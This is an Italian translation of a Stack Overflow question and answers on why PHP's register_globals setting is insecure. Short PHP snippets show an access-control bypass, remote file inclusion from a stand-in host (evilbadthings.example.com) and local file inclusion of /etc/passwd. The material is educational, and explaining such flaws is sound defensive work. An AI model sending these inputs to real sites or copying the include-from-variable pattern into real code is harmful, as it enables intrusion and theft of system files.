Domanda

Non sono uno sviluppatore di PHP ma ho visto in un paio di posti che la gente sembra trattarlo come la peste o qualcosa del genere. Perché?

È stato utile?

Soluzione

REGISTER_GLOBALS significa che tutte le variabili passate attraverso GET o POST sono disponibili come variabili globali nello script. Poiché l'accesso a variabili non dichiarate non è un errore in PHP (è un avvertimento), può portare a situazioni molto brutte. Considera questo, ad esempio:

<?php
// $debug = true;
if ($debug) {
    echo "query: $query\n";
}

Non è una cosa negativa di per sé (un codice ben progettato non dovrebbe generare avvisi, quindi non dovrebbe accedere a nessuna variabile che potrebbe essere dichiarata (e non dovrebbe necessitare REGISTER_GLOBALS per lo stesso motivo)), ma il codice PHP è di solito [molto] di bassa qualità, portando a questo tipo di falle nella sicurezza.

Altri suggerimenti

L'abilitazione di REGISTER_GLOBALS espone le pagine Web fornite da PHP a vulnerabilità che alcuni cattivi saranno desiderosi di sfruttare.

Con questa opzione abilitata, qualsiasi stringa di query alla fine dell'URL:

http://yourdomain/something.php?valid=true 

influenzerà il valore di una variabile $ valid (ad esempio) in qualcosa.php, se esiste .

Se si utilizza il codice PHP disponibile pubblicamente (una libreria ad esempio), i nomi delle variabili sono ben noti e sarebbe possibile per gli hacker controllare i loro valori assegnando i valori nella stringa di query. Potrebbero essere in grado di bypassare l'autenticazione.

Anche se non stai usando un codice pubblico, potrebbe essere possibile indovinare i nomi di variabili importanti e controllarne i valori.

In passato, per impostazione predefinita, REGISTER_GLOBALS era abilitato in PHP.INI

La pratica recente è stata quella di disabilitarla per impostazione predefinita. Abilitalo a tuo rischio e pericolo!

Solo per aggiungere, ecco alcune situazioni in cui avere REGISTER_GLOBALS abilitato potrebbe rovinare la tua giornata:

Utilizzo della stringa di query per ignorare il controllo di accesso (hackerando http://example.com/ ? registrati = 1 ):

<?php
$logged = User::getLogged();
if ($logged)
{
    include '/important/secret.php';
}
?>

Inclusione file remota (RFI):

<?php
    //http://example.com/?path=http://evilbadthings.example.com/
    include "$path"; 
?>

Inclusione file locale (LFI):

<?php
    //http://example.com/?path=../../../../etc/passwd
    include "$path"; 
?>

Perché consente all'utente di iniettare qualsiasi variabile globale nel codice senza alcun controllo.

In base alla qualità del codice, può introdurre importanti bug di sicurezza.

Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top